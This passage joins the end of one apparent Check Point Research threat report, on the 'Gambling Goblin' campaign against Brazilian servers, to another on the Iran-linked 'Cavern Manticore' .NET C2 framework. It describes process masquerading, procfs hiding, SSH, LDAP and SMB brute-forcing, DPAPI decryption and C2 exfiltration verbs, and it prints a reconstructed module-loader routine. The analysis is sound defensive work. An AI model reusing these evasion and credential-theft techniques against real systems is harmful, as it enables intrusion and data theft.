It also hides its identity in an unexpected place. The agent stores its GUID by appending a # GUID: <uuid> comment line to /etc/protocols, a legitimate system file no one thinks to check. Its lock file sits at /tmp/.lock.
The evasion posture is layered and Linux-native:
Process masquerade. The agent sets its process name to sshd: root@pts/0, so it reads in the process table as an interactive root SSH session. One build reinforces this by spoofing its executable path as /usr/sbin/sshd.
Procfs hiding. When its mount mode is enabled, the agent bind-mounts over its own /proc/<pid> entry, disrupting inspection of the running process through the proc filesystem.
Silent by default. Logging goes to /dev/null unless a specific debug environment variable is set.
Together, these span the process table, the filesystem, the security policy, and the kernel’s view of the process, a broad effort to make the agent hard to notice and harder to inspect.
BruteForcer
An SSH credential-checking and brute-force utility. It reads target IP addresses (-f flag), usernames (-u flag), passwords (-p flag), or pre-combined user:pass pairs (-up flag) from operator-supplied files, then attempts concurrent SSH logins against each target.
Successful credentials are printed and appended in plaintext to a local results file, res.txt. The binary has no hardcoded C2 infrastructure or persistence mechanism and its sole purpose is credential access against remote SSH services.
Recon Scripts
In some of the attacks we observed a number of Bash scripts with Chinese-language comments used by the attackers.
The first, info.sh, proceeds in four stages. It first pulls recent login activity to profile who uses the box. It then walks every user’s home directory, including root’s, to inventory .ssh folders, flag any files containing private keys, and comb .bash_history for sensitive commands involving SSH, SCP, database clients, cloud tooling, credentials, and kubectl, a fast way to harvest reusable secrets and understand the victim’s workflows. The third stage is the most refined: a storage analysis that hunts for remote network mounts (NFS, CIFS/Samba, WebDAV, cloud FUSE) and Docker volumes while deliberately filtering out overlay, tmpfs, and container-ID noise, so the operator sees only genuine lateral-movement targets rather than local container clutter – a sign the author iterated on the tool to cut false positives. Finally, it gathers classic lateral-movement intelligence: /etc/hosts entries, local listening TCP ports, and the ARP neighbor table to reveal adjacent hosts on the network.
Figure 15 – Third stage of info.sh
The second script, findweb.sh, surveys a compromised host’s web-server landscape and maps out every site it serves. It first detects which web servers are running (Nginx, Apache, or httpd) using several fallback methods, and extends the check to containerized deployments by inspecting Docker for web-server images and any containers publishing ports 80 or 443 to the host. Where possible, it reports the ports each server listens on. It then parses the server configurations directly: for Nginx it walks the common configuration directories, resolving symbolic links and de-duplicating by real path, then extracts each virtual host’s domain (server_name), web root, and any proxy_pass upstreams; for Apache and httpd it does the equivalent, pulling DocumentRoot, ServerName, and ServerAlias from every VirtualHost block across the standard Debian, RedHat, and common control-panel configuration paths.
The result is a concise inventory of every domain hosted on the machine, where each site’s files live on disk, and where any existing reverse-proxy rules already point. In the context of this campaign, that inventory is exactly what an operator needs to weaponize a compromised server: it reveals which trusted domains are available to abuse, the exact web roots to plant content in, and where to graft the malicious proxy module so that attacker pages are served under a legitimate site’s name.
Attribution and links to prior work
We assess with medium-to-high confidence that Gambling Goblin is tied to Earth Berberoka – a Chinese-speaking threat cluster first documented by Trend Micro in 2022. Earth Berberoka is known for targeting online gambling platforms that serve Chinese-speaking users and operators, and for working across Windows, Linux, and macOS with a mix of aged commodity RATs and purpose-built tooling. Our assessment rests on three independent overlaps: the malware, the operator artifacts, and the network infrastructure.
Tooling. The group’s use of oRAT is the clearest link. oRAT was tied to Earth Berberoka in 2022, and the variant we analyzed shares the same orat/cmd/agent codebase and REST-style operator routes. The connection extends to the group’s custom malware: one of the AlphaAgent samples we recovered was uploaded in the same archive as other tools previously attributed to Earth Berberoka, placing AlphaAgent directly alongside the group’s known toolset rather than merely resembling it.
Operator artifacts. The focus on the online gambling sector and the Chinese-language strings scattered across this campaign’s tooling (dual-language flag descriptions, Chinese script comments, and Chinese-language page artifacts) align with operator fingerprints seen in the group’s past campaigns.
Infrastructure. The group has a documented habit of registering domains that impersonate trusted platforms. Trend Micro reported github[.]wiki as an Earth Berberoka domain while the infrastructure behind Gambling Goblin follows the same playbook: lookalike domains such as github[.]la and gitlab[.]bet closely mirror that tradecraft. Reinforcing the link, many of the C2 servers in this campaign are hosted on the same Amazon ASN (AS16509) the group has relied on before.
Conclusion
This campaign marks a shift in who targets Brazil, and why. For years, the threats facing Brazilian users came mostly from home grown banking trojan crews. Brazil is a natural target for this kind of operator. It has become one of the world’s fastest-growing online-betting markets, with a vast base of mobile users accustomed to installing apps on the spot, which is exactly the audience a gambling-driven fraud operation wants to reach. For a Chinese-speaking group that has spent a decade monetizing the gambling sector, the money now runs through Brazil, and the infrastructure to exploit it is often trusted but under-secured. A vast base of mobile users conditioned to install apps on sight, and a sprawl of trusted but under-secured web servers, most of them on government .gov.br domains whose search reputation is exactly what a large-scale SEO-fraud operation needs. Compromise those servers, graft on a malicious Apache module, and the attacker turns a nation’s legitimate infrastructure into a distribution network for gambling pages and fake app stores. That is the notable part: this is not opportunistic crime but patient, industrialized abuse of reputation, and it is run with espionage-grade Linux tooling in the service of financially motivated fraud, blurring the line between cybercrime and APT.
We expect the operation to grow rather than fade. The same infrastructure that inflates search rankings today is one configuration change away from serving malware tomorrow: the phishing pages already impersonate Google Play, the Microsoft Store, and Amazon, putting the operators a single step from pushing malicious apps straight to Brazilian victims. The Vietnamese, Spanish, and English pages we uncovered show the model is being exported, and the daily domain generators show it is built to scale. Countries should expect more of this, aimed higher, not only at customers and banking credentials, but at the government institutions whose domains lend the campaign its trust. None of it depends on novel exploits. It runs on unpatched internet-facing services, weak SSH credentials, and Apache modules that no one thinks to watch. If organizations, and public-sector operators in particular, do not close those gaps – patching exposed services, auditing Apache and SSH configurations, and hunting for rogue modules and masqueraded processes, then this actor and the wider wave of global cybercrime it represents, will keep finding an open door.
Note:SysAid was not compromised, and no SysAid vulnerability was involved. The attacker had already gained access to the victim environment and abused a legitimate software-deployment feature to deploy malware onto another machine within it.
Key Points
Check Point Research (CPR) tracks ‘Cavern Manticore’ as an Iran-nexus threat actor operating against Israeli targets, with a focus on the government and IT sectors.
Cavern Manticore shares technical overlaps with other Iranian MOIS (Ministry of Intelligence and Security)-linked threat actors, including MuddyWater and Lyceum.
CPR observed a modular C2 framework in the wild, with all samples built on top of .NET but compiled into different output formats. These components are used as Cavern agent and Cavern modules.
The framework’s anti-analysis posture relies on uncommon .NET compilation formats (Mixed-Mode C++/CLI and Native AOT) that force reverse engineers into multiple toolsets and metadata-reconstruction workflows, together with per-module AppDomain isolation as an anti-forensics measure.
In malware-engine coverage, the majority of observed samples score zero or very low detection rates on VirusTotal.
Post-exploitation modules provide the threat actor with extended capabilities, including file system and database browsing, LDAP querying, network reconnaissance, and tunneling.
In multiple observed intrusions, the initial foothold was achieved through abuse of existing Remote Monitoring and Management (RMM) software deployed in the targeted organization.
Introduction
Since early 2026, Check Point Research (CPR) has tracked a new modular command-and-control framework used by Cavern Manticore, an Iran-nexus APT group primarily targeting Israeli organizations, with a focus on IT providers, and government sectors. Cavern Manticore is an Iran MOIS (Ministry of Intelligence and Security)-linked actor, with links to the OilRig subgroup named Lyceum. The framework reflects a mature and adaptable toolset built around a shared .NET foundation, while using multiple compilation formats across different components, including .NET Framework, .NET Mixed-Mode C++/CLI, and .NET Native AOT. The compilation format itself becomes the anti-analysis layer that forces reverse engineers into multiple toolsets and metadata-reconstruction workflows.
During our investigation, we observed both Cavern agents and Cavern modules in the wild, highlighting a modular architecture that separates core communication capabilities from mission-specific post-exploitation functionality. This design allows the operators to tailor deployments per victim environment, limit what defenders and analysts can recover from any single victim and extend access after compromise through specialized modules for reconnaissance, data access, tunneling, and lateral movement.
Figure 1: Cavern Modules Evade Malware Engines.
Technical Analysis: Cavern – A Modular .NET C2 Framework
1. Cavern at a Glance
Cavern is a modular post-exploitation C2 framework built entirely on .NET, but deliberately compiled into three different binary formats: .NET Framework (IL-only), Mixed-Mode C++/CLI (IL + Native), and .NET 8 NativeAOT (Native-only).
The recovered execution chain begins with SysAid’ssoftware update feature, which the actor leverages to deploy a WinDirStat DLL sideloading package to C:\ProgramData\WinDir\WinDirStat.exe. The legitimate WinDirStat.exe binary loads the trojanized uxtheme.dll, which is the Cavern Agent, and the agent in turn loads a dedicated native communication module n-HTCommp.dll to reach the C2 and then pulls down additional post-exploitation modules on operator command.
Figure 2: Cavern Agent Execution Chain.
The table below provides an overview of the modules.
Component
Internal Name
Format
Role
Cavern Agent
uxtheme.dll
Mixed-Mode C++/CLI (.NET 4.7.2, IL + Native)
Core backdoor, module orchestrator
Communication Module
n-HTCommp.dll
NativeAOT (.NET 8, Native-only)
HTTPS/WebSocket transport, XOR-encrypted traffic
File Manager
mhm.dll
.NET Framework 4.7.2 (IL-only)
File ops, DPAPI decrypt, archive handling
SQL Browser
db.dll
.NET Framework 4.7.2 (IL-only)
Database enumeration, query, export, manipulation
LDAP Module
ode.dll
.NET Framework 4.7.2 (IL-only)
AD recon, user/group enumeration, LDAP brute-force
Network Module
n-ten.dll
NativeAOT (.NET 8, Native-only)
Net recon, port scan, share enum, SMB brute-force
Tunnel Module
n-sws.dll
NativeAOT (.NET 8, Native-only)
SOCKS5 proxy, WebSocket/WSS tunneling
2. Three Compilation Formats as Anti-Analysis
The most distinctive architectural decision in Cavern is the deliberate use of three different .NET compilation targets across its components. This is not obfuscation in the traditional sense; there is no packer, no control-flow flattening, and no string encryption anywhere in the framework. Instead, the compilation format itself becomes the anti-analysis layer, since each of the three formats has to be reversed with a different toolchain and a different workflow, and the analyst has to context-switch between them across components.
Pure .NET Framework (IL-only) modules (mhm.dll, db.dll, ode.dll) retain full symbol metadata, including the shared Command.Type enum with all 61 command IDs, readable class names like ApiEx.DatabaseBrowser, and meaningful method signatures. These modules are trivially decompilable with tools such as ILSpy or dnSpyEx. The developers chose this format for the modules that run inside the agent’s managed AppDomain, where IL code is actually required for reflection-based loading.
Mixed-Mode C++/CLI (IL + Native) agents (uxtheme.dll) combine managed .NET code with native C++ in a single PE. Its exports are not regular native functions: each one is a tiny native stub (a jmp followed by ud2 padding) in the .nep section that forwards the call to a managed method behind it. Reversing this format takes both a .NET decompiler for the managed logic and a native disassembler for the export stubs and the C++ marshaling code, so the analyst has to reverse the same binary twice in two different toolchains.
NativeAOT .NET 8 (Native-only) modules (n-HTCommp.dll, n-ten.dll, n-sws.dll) compile the entire .NET runtime statically into a single native PE. The result is usually a 3-6 MB binary with thousands of stripped framework functions, a .managed executable section, and a hydrated BSS-like section where string objects are materialized only at runtime. Security-sensitive P/Invoke calls to APIs like WNetAddConnection2, NetShareEnum, or NetLocalGroupGetMembers are resolved through runtime descriptor tables instead of appearing in the PE import table, which hides the module’s real capabilities from import-based triage.
2.1 Tooling Notes for NativeAOT Analysis
NativeAOT is the format that pushed back the hardest during analysis, so it is worth saying a few words on the tooling we put together for it.
To pull useful metadata back out of the NativeAOT samples, we ported Washi’s Ghidra NativeAOT plugin (ghidra-nativeaot; write-up: Recovering Metadata from .NET Native AOT Binaries) to IDA Pro. The port reconstructs the .NET type system from the runtime’s ReadyToRun metadata, rebuilds the MethodTable/EEType hierarchy, recovers virtual methods, materializes the frozen string literals from the hydrated section, and exposes a metadata browser for navigation. It is available at ida-nativeaot.
Figure 3: IDA Pro – “ida-nativeaot” plugin.
To recover symbols from the stripped NativeAOT .NET 8 modules, we then built a matching .NET 8.0.25 NativeAOT win-x64 “coverage” DLL (compiled with PDB) that deliberately exercises the same .NET runtime and class library code the Cavern samples rely on, and generated IDA FLIRT signatures from it. Applied to the Cavern samples, the signatures matched roughly 60% of all functions, with the matches concentrated on the parts that mattered most for the analysis, e.g., System.Diagnostics.*, System.IO.*, System.Net.*, System.Security.*, and System.Text.*.
3. The Cavern Agent
3.1 UxTheme Facade and Side-Load Trigger
The Cavern Agent is compiled as a 64-bit Mixed-Mode C++/CLI DLL named uxtheme.dll and exports 83 functions that mimic the legitimate Windows theming library. Of these 83 exports, 82 are empty stubs, single-instruction managed methods that return immediately. The one live export is EnableThemeDialogTexture, which serves as the operational entry point for the entire C2 loop.
This design creates a deliberate sandbox trap. Any automated analysis tool that invokes ordinal #1, or any other default export, will observe only inert DLL loading behavior and conclude the sample is benign. The real backdoor personality sits entirely behind export ordinal #20 (0x14).
Upon invocation, EnableThemeDialogTexture creates a singleton mutex (MYMUTEX123HELLP02 or MYMUTEX123HELLP04, depending on the build), initializes the local configuration from config.txt, and enters an infinite polling loop. Each iteration builds a command string using the framework’s custom delimiter grammar (_;;_ separates fields, _,_ separates arguments) and hands the actual HTTP transport to n-HTCommp.dll.
Figure 5: The Cavern Agent – Main C2 beacon loop.
3.3 Custom AppDomain Isolation with Post-Execution Unload
One of the most technically interesting mechanisms in the Cavern Agent is its module hosting strategy. Rather than loading .NET modules into the default AppDomain via Assembly.Load (the common approach in most .NET loaders), Cavern creates a dedicated AppDomain for each module execution, marshals a proxy object across the domain boundary, invokes the module, and then unloads the entire AppDomain.
The reason this design choice is operationally relevant is that .NET assemblies loaded into the default AppDomain cannot be unloaded without terminating the host process. By isolating each module in its own AppDomain, Cavern gets two things: loaded modules can be cleanly removed from memory after execution, leaving no analyzable assembly artifacts behind, and different versions of the same module can be loaded and run one after another without conflict.
The DotNetProxy class inherits from MarshalByRefObject, which allows it to exist in one AppDomain while being invoked from another. Inside the isolated domain, it performs standard reflection-based loading (via the DotNetProxy.runDll method).
Figure 7: The Cavern Agent – “DotNetProxy.runDll” method → inside the isolated AppDomain.
3.4 Dual Module Dispatch: Native vs. Managed
The unified module dispatcher is <Module>.run_DLL, a free function on the global <Module> type. The name looks similar to the DotNetProxy.RunDll method shown in the previous section, but the two have different roles: <Module>.run_DLL is the outer dispatcher invoked by the agent for every module load, and it is also the one that calls into DotNetProxy.RunDll (via <Module>.runAssembely method) whenever the module turns out to be a managed assembly. The dispatcher itself uses a simple filename convention: modules whose names start with n- are treated as native DLLs and loaded via LoadLibraryA/GetProcAddress, while everything else is treated as a managed .NET assembly and loaded through the AppDomain isolation mechanism described above. Whichever path is taken, the agent ends up calling the same entry point on the loaded module: a function named get_version.
// Cavern Agent - <Module>.run_DLL: Unified Module Dispatcher
// Simplified C# reconstruction of the dnSpyEx decompilation
string <Module>.run_DLL(string moduleName, string arguments)
{
string resolvedPath = get_latest_dll(moduleName); // finds highest-numbered version
string fileName = Path.GetFileName(resolvedPath);
if (fileName.StartsWith("n-"))
{
// Native module path (NativeAOT compiled)
IntPtr hModule = LoadLibraryA(resolvedPath);
if (hModule == IntPtr.Zero)
return "DLL not found...Maybe you didn't upload it!!!";
IntPtr pGetVersion = GetProcAddress(hModule, "get_version");
if (pGetVersion == IntPtr.Zero)
return "What is this sh*t?! where is get_version?!?";
var getVersion = Marshal.GetDelegateForFunctionPointer<GetVersionFn>(pGetVersion);
IntPtr resultPtr = getVersion(Marshal.StringToHGlobalUni(arguments));
return Marshal.PtrToStringUni(resultPtr);
}
else
{
// Managed module path (.NET Framework) - loaded in isolated AppDomain
List<string> argList = new List<string> { arguments };
return (string)<Module>.runAssembely(
"mydomain",
new List<byte>(File.ReadAllBytes(resolvedPath)),
resolvedPath,
string.IsNullOrEmpty(arguments), // noArgs flag
argList,
"MyClass.Program", // fixed class name
"get_version" // fixed method name - the universal interface
);
}
}
The native path contains two error strings worth flagging: "What is this sh*t?! where is get_version?!?" and "DLL not found...Maybe you didn't upload it!!!".
Figure 8: The Cavern Agent – native path of dual module dispatch → error strings.
These are not the kind of polished, neutral diagnostics a code generator tends to emit. They are written in the first person, with frustration, profanity and exclamation marks, and they read exactly like an operator talking to themselves while debugging their own tooling. We come back to what this tells us about authorship in the “Authorship and the Human Factor” section below.
3.5 Module Versioning and Self-Update
Cavern implements a numbered DLL versioning scheme. The function get_latest_dll scans the working directory for files matching a base module name with appended numeric suffixes (e.g., n-HTCommp0.dll, n-HTCommp1.dll) and loads the highest-numbered variant. This allows the operator to push module updates via the C2 without file-name conflicts.
Figure 9: The Cavern Agent – module versioning.
The self-command 002 (exposed via self_execute method) accepts a Base64+GZip-compressed module payload from the C2, writes it to disk as a new numbered DLL, and, in the case of uxtheme.dll itself, executes a hot-swap: the running agent renames its own DLL, writes the new version, loads it, calls its EnableThemeDialogTexture with signalCode=200 to signal the update-return path, and terminates. All implemented self-commands are detailed in the next section.
The agent handles six built-in self-commands before reaching the module dispatcher:
Command
Action
001
Update polling interval
002
GZip+Base64 module update (including self-update of uxtheme.dll)
003
Toggle debug logging
004
Activate WebSocket communication mode
005
Close WebSocket connection
006
Reconnect WebSocket
3.7 Startup Cleanup as Anti-Forensics
Newer agent builds perform aggressive directory cleanup on first startup: they enumerate all files and subdirectories in the working directory and delete everything except the Communication Module (n-HTCommp.dll), the configuration file (config.txt), and log files. This means any modules delivered by the C2 in a previous session are wiped before the next execution cycle, and the agent reports "cleared" to the C2 upon completion.
3.8 Variant Evolution
Three agent builds were recovered, showing clear iterative development:
Attribute
Oldest Build
Build 02
Build 04
Mutex
MYMUTEX123HELLP
MYMUTEX123HELLP02
MYMUTEX123HELLP04
C2 Domain
auth.hospitalinstallation.com
google.com.hospitalinstallation.com
google.com.hospitalinstallation.com
Config Storage
id.txt (plain 7-char ID)
config.txt (JSON)
config.txt (JSON)
Self-Commands
001-003
001-006 (adds WebSocket)
001-006
Cleanup
None
Working-dir wipe
Working-dir wipe
Debug Default
true
false
true
4. The Communication Module – “n-HTCommp.dll”
The communication module is compiled as a NativeAOT .NET 8 DLL (~5.5 MB, with about 21k stripped framework functions) and exposes a single operational export, get_version. Despite the name, this exported function is a full multi-verb HTTP and WebSocket command dispatcher. The agent passes transport commands as delimited strings, and n-HTCommp.dll parses the verb, performs the network operation, and returns the result.
The verb matching is the first place where the NativeAOT format makes analysis visibly harder. In a normal .NET build, a check like verb == "get" calls String.Equals, and the literal "get" lives in the string heap (#US), where any strings scan will find it. NativeAOT instead compiles the comparison inline: it first checks the length of the verb string, then loads the verb’s UTF-16 characters straight from memory and compares them against hard-coded integer constants. Those constants are simply the verb’s characters packed together as numbers. For "get", the three UTF-16 characters g (0x0067), e (0x0065) and t (0x0074) become the constants 0x650067 and 0x740065 that show up in the comparison.
This is a real triage problem because every readable string in this module behaves differently than in a normal .NET binary. Frozen string literals like https, wss, text/plain, the WebSocket URL fragments and a handful of error messages live in the hydrated section, which is materialized at runtime by the NativeAOT runtime and only becomes a readable UTF-16 string at that point. A strings pass over the DLL on disk does not see them, since on disk that section is a compressed initialization blob. They become visible only after the section is rehydrated, either by running the sample or by reconstructing it statically with the kind of plugindescribed in section 2.1.
The packed verb constants are even further out of reach: they are not strings at all, they are integer immediates baked into the cmp instructions of the dispatcher. So in practice a strings-based triage of this DLL on disk returns almost nothing usable, neither the verb set, nor the URL fragments, nor the user-agent header. The command grammar simply does not exist in any byte sequence that a string scan can pick up.
The dispatcher first marshals the inbound command to a managed string, then splits it on the framework’s two delimiters (_;;_ for the verb/argument boundary and _,_ between arguments), and dispatches to a verb handler.
Each verb maps to a distinct network operation, and the handlers differ in three operationally meaningful ways: whether the payload is XORed with key 0x48 (the in-place traffic transform), whether it is then Base64-encoded for the HTTP body, and which HTTP/WS headers and endpoints they touch. Every HTTP-based verb sends a fixed Microsoft EdgeUser-Agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0), and the two C2-bound verbs (get and send) additionally attach a custom X-User-token header whose value is the agent ID with the literal suffix 00 appended. The summary below was reconstructed by following each verb handler through its full HTTP/WS request build path:
Verb
Network
Endpoint built from arguments
XOR (0x48)
Base64
User-Agent
X-User-token
Purpose
get
HTTP GET
args[1] + "/profile"
yes (response body, after Base64 decode)
yes
yes
yes (args[0] + "00")
Beacon: poll the C2 for the next task
send
HTTP POST text/plain
args[1] + "/gallery"
yes (request body, before Base64 encode)
yes
yes
yes (args[0] + "00")
Submit a task result back to the C2
cget
HTTP GET
args[0] (raw URL)
no
no
yes
no
Operator-driven fetch of an arbitrary URL (not C2)
cpost
HTTP POST
args[0] (raw URL), body args[1], content-type args[2] (default text/plain)
no
no
yes
no
Operator-driven POST to an arbitrary URL
upload
HTTP POST multipart/form-data
args[0] (raw URL), file args[1] from disk as form field file (application/octet-stream)
no
no
yes
no
Exfiltrate a local file to an arbitrary URL
ws
WS Open + initial WS Send
wss://<host>/socket if args[0] starts with https, otherwise ws://<host>/socket; immediately sends args[1] + "00" as the first text frame
yes (initial frame only)
no
n/a
n/a (sent inside first frame instead)
Open the WebSocket transport and register the session
getws
WS Recv
active socket
yes (whole accumulated payload, then UTF-8 decoded)
no
n/a
n/a
Receive a message from the WebSocket
sendws
WS Send
active socket
yes (UTF-8 bytes, then framed as text)
no
n/a
n/a
Send a message over the WebSocket
closews
WS Close
active socket
n/a
n/a
n/a
n/a
Close the WebSocket
A few practical observations follow directly from the table. First, the XOR transform with key 0x48 is the framework’s traffic-encoding layer, and it applies to every C2-bound channel: it is on both directions of the HTTP path (get / send) and on both directions of the WebSocket path (getws / sendws), plus the initial WS handshake frame. The only verbs that bypass it are cget, cpost and upload, which talk to operator-supplied URLs that have nothing to do with the Cavern C2. Second, Base64 is applied on top of XOR only for the HTTP transport (get and send), where the body has to survive as text/plain; the WebSocket path skips Base64 because it can carry the raw XORed bytes inside a text frame directly. Third, the User-Agent header is fixed across every HTTP verb, including the operator-driven ones, which makes the UA itself a stable host artifact for detection.
Figure 14: The Cavern’s “n-HTCommp.dll” module – “send” command handler.
5. Post-Exploitation Modules
All Cavern modules, regardless of compilation format, share a uniform interface contract: the agent invokes get_version(List<string> args) for managed modules or get_version(wchar_t* args) for native modules. The first argument carries a newline-delimited command string using numeric command IDs from the shared Command.Typeenum, with _;;_ and _,_ as field/argument delimiters.
The full command set is defined once in that shared enum and reused across every module. We recovered it intact from the .NET Framework modules, which keep their symbols, and it is worth showing in full because the IDs are grouped by capability area. The grouping itself is informative: each block of numbers maps to one functional category, and the gaps between blocks line up neatly with the individual modules that implement them.
The enum defines 61 command IDs in total. Most map directly to a handler in one of the recovered modules, but a handful (such as the 5xxprocess and 6xx/7xxregistry and service ranges) have no implementation in any sample we obtained, which suggests at least one module was never delivered to the victim and is still missing from our set.
Two olderCav3rn-era samples found on VirusTotal during this writeup also help frame that gap. They predate the rename, are nearly identical to each other, and are not part of the modular intrusion documented here, but each ships every ApiEx.* capability (ApiEx.Proc, ApiEx.Reg, ApiEx.Serv included – related to the 5xx/6xx/7xx command IDs) inside a single .NET DLL under namespace CAV3RN_APIEX_Module rather than across separate modules. Transport in those builds is split: the Cav3rn agent itself only reads steganographic command PNGs from a local inpt\ directory and writes result PNGs into outpt\, while the HTTP exchange against the C2 is performed by a separate HTTP companion module (CAV3RN_Http_Module), which we later recovered as a third Cav3rn-era sample. The companion consumes the same Domain[] and PageName = "cac.aspx" constants the agent carries, POSTss=<timestamp>&id=<AgentID>&q=<XOR+Base32 telemetry> to https://<adserviceupdate[.]com|hygienehistory[.]com>/cac.aspx, and expects a response whose body starts with a fixed 21-byte JPEG magic header and whose Content-Disposition: filename= value is XOR+Base32-encrypted with the AgentID, then drops the carved payload into the same local inpt\ directory the agent reads from. Two details in that exchange show that cac.aspx is an operator-deployed handler rather than an abused legitimate page: the request and response shape is a custom protocol no clean IIS server would understand or produce, and the companion’s ServerCertificateValidationCallback is hard-coded to always return true, meaning the operator is explicitly not relying on a properly-issued certificate for the C2 endpoint. Whether the underlying IIS server is attacker-stood-up or cac.aspx was planted on a third-party host the operator does not fully control is not something the binary distinguishes.
The modern framework collapses both halves into n-HTCommp.dll with direct HTTPS / WebSocket. The command set is also smaller and clearly under active development, and there is no NativeAOT, no Mixed-Mode wrapper, and no AppDomain isolation. Today’s Cavern is a refactor of that same project, split across separate modules and rebuilt around three different compilation formats to harden the analysis. The three hashes (Cav3rn-era samples) are listed in the IOC section as the olderCav3rnagent (two near-identical builds) and the olderCav3rnHTTP module; the rest of this publication stays focused on the modular generation actually used in the intrusion.
5.1 File Manager – “mhm.dll”
The file manager module implements the broadest command surface across three of the enum blocks (the 1xxinformation block 101-104, the 3xxfile/directory block 301-314, and the 8xxarchive block 801-806): host information collection, DPAPI decryption, drive/file/directory enumeration, recursive file search with content matching, GZip+Base64 file transfer in both directions, ZIP archive creation/extraction, and file/directory manipulation. It does not implement the 5xx, 6xx, or 7xx ranges even though those IDs are present in the shared enum it ships.
Its most notable capability is DPAPI decryption of operator-supplied blobs. The CryptDecrypt function takes a Base64-encodedDPAPI-protected blob, calls ProtectedData.Unprotect with DataProtectionScope.CurrentUser, and returns the decrypted plaintext. Because the module runs inside the victim’s process under their user token, this lets the operator decrypt any DPAPI-protected secret that belongs to the compromised user.
Figure 16: The Cavern’s “mhm.dll” module – “CryptDecrypt” DPAPI decryption.
An older variant of mhm.dll retains legacy “Cav3rn” naming artifacts in its static configuration: file extensions .CvnC.png, .CvnA.png, .CvnR.png for command, API, and result files, respectively, a config filename Cvn.cfg, a hardcoded page name cac.aspx, and embedded JPEG header magic bytes. These artifacts point to an earlier webshell-style transport layer (the HTTP side fronted by an ASP.NET page on a separate IIS server, invoked by the olderCav3rnHTTP module covered in Section 5, not by this module or by the older Cav3rn agent itself) that was retired when the framework evolved from “Cav3rn” to “Cavern” and moved to the n-HTCommp.dll native communication module.
The database module implements a REST-like route dispatcher that accepts JSON commands with operator-supplied SQL Server credentials passed through pseudo-HTTP headers. It supports SQL database enumeration, query, export, and manipulation.
Figure 18: The Cavern’s “db.dll” module – SQL database browser.
The connection pool caches SQL connections keyed by connection string. Credentials are supplied per-request via x-db-user, x-db-password, x-db-host, with optional x-db-encrypt and x-db-trust-cert fields, a convention borrowed from HTTP header-based authentication patterns.
5.3 LDAP / Active Directory Module – “ode.dll”
The LDAP module provides Active Directory reconnaissance and credential testing. It auto-discovers the LDAP server and base DN from LDAP://RootDSE when not explicitly supplied, performs paged searches with a page size of 1,000, and always accepts TLS certificates without validation.
The most operationally significant function is LdapBrute, which accepts semicolon-delimited username and hex-encodedpassword lists, supports file-based input via the <path prefix convention, and includes a configurable inter-attempt delay with break-on-success logic.
Figure 19: The Cavern’s “ode.dll” LDAP module → “LdapBrute” method.
The network module is compiled as NativeAOT and provides network reconnaissance, port scan, share enumeration, and SMB brute-force. It resolves its security-sensitive Windows APIs at runtime through P/Invoke descriptor tables, which keep them out of the PE import table. Static analysis of the P/Invoke resolution data recovered 21 dynamically-loaded API descriptors. A selection of the most security-relevant ones is shown below:
P/Invoke Target
Library
Purpose
WNetAddConnection2
mpr.dll
Map network drive with credentials
WNetCancelConnection2
mpr.dll
Unmap network drive
WNetOpenEnum / WNetEnumResource
mpr.dll
Enumerate network resources
NetUserEnum / NetUserGetInfo
netapi32.dll
User enumeration
NetLocalGroupEnum / GetMembers
netapi32.dll
Local group enumeration
NetServerEnum
netapi32.dll
Domain computer discovery
NetShareEnum
netapi32.dll
Share enumeration
NetWkstaGetInfo
netapi32.dll
Domain/workstation info
The NetUseBrute function iterates over operator-supplied credential pairs, calling WNetAddConnection2 against a target share with each pair and immediately disconnecting successful connections via WNetCancelConnection2, which gives the operator an SMB-based credential spraying primitive.
Figure 20: The Cavern’s “n-ten.dll” module – “NetUseBrute” function → “WNetAddConnection2”.
The tunnel module implements a full SOCKS5 proxy and WebSocket/WSS tunnel in both server and client modes. Its get_version export parses operator-supplied configuration, constructs a command-line argument vector, and dispatches to the internal argument parser, which supports:
In server mode, it binds HTTP/HTTPS listeners, accepts incoming WebSocket upgrades, enforces username/password authentication, and relays SOCKS5 proxy traffic through the WebSocket tunnel. A built-in HTTP status page at /index.htm returns a Server Status HTML response, a small operational convenience. The tunnel protocol handles five message opcodes: connect, heartbeat, data, disconnect, and error.
The binary also preserves developer typos such as "tunnel message receivecd" and "handeling connect ms". Misspellings like these are another small human fingerprint, the kind of thing a person types in a hurry and a code generator generally does not produce. We pull these threads together in the next section.
6. Attribution Indicators
The recovered artifacts contain several developer and infrastructure fingerprints:
PDB paths across three modules consistently reference C:\Users\rick\Desktop\Modules\cavern\, which establishes “rick” as the developer username and “cavern” as the internal project name.
C2 infrastructure uses subdomains of hospitalinstallation[.]com: auth[.]hospitalinstallation[.]com (older builds) and google[.]com[.]hospitalinstallation[.]com (newer builds, where the google[.]com[.] prefix is a simple visual trick aimed at anyone skimming proxy logs).
Legacy naming in the oldermhm.dll variant references Cav3rn (with a leetspeak “3”) through field names like Cav3rnCommandExt, which suggests the framework was renamed from “Cav3rn” to “Cavern” during its development.
Cross-version continuity. Two older non-modularCav3rn samples (listed in IOCs as the older Cav3rnagent) carry the same ApiEx.* capability tree, the same Command.Typeenum and the same idiosyncratic method names that today’s modular Cavern is built on top of. The newer framework adds commands (LDAP_BRUTE, CRYPT_DECRYPT, archive ops and the NET_PORT_SCN block), retires the webshell + steganography transport in favor of n-HTCommp.dll, and splits the codebase across three different compilation formats – a refactor of the same project, not a rewrite.
7. Authorship and the Human Factor
It is worth pausing on a question that comes up with almost every new toolset we look at today: how much of this was written by a person, and how much by an AI coding assistant. In 2026 it is genuinely hard to imagine a project of this size being built with no AI assistance at all, and we would not claim that Cavern was. Boilerplate such as the JSON formatting, the LINQ-heavy collection handling, and the standard P/Invoke signatures could easily have been drafted or completed with a model. That kind of help is so common now that its presence would tell us very little.
What the artifacts do tell us, and tell us clearly, is that a human was significantly and substantively involved in building this framework. The evidence is in the rough edges that a code generator tends to sand off:
Error strings written in frustration. The native module dispatcher of the Cavern agent returns "What is this sh*t?! where is get_version?!?" when an export is missing and "DLL not found...Maybe you didn't upload it!!!" when a module is absent. These are first-person, profane, and exasperated. They are the voice of an operator debugging their own tooling, not the neutral phrasing a model defaults to.
Typos baked into the binaries. The tunnel module carries "tunnel message receivecd" and "handeling connect ms", and the SQL module builds a query as SELECT TOP({0}) *FROM[{1}].[{2}] with the space dropped before FROM. Small slips like these are what a person produces while typing quickly.
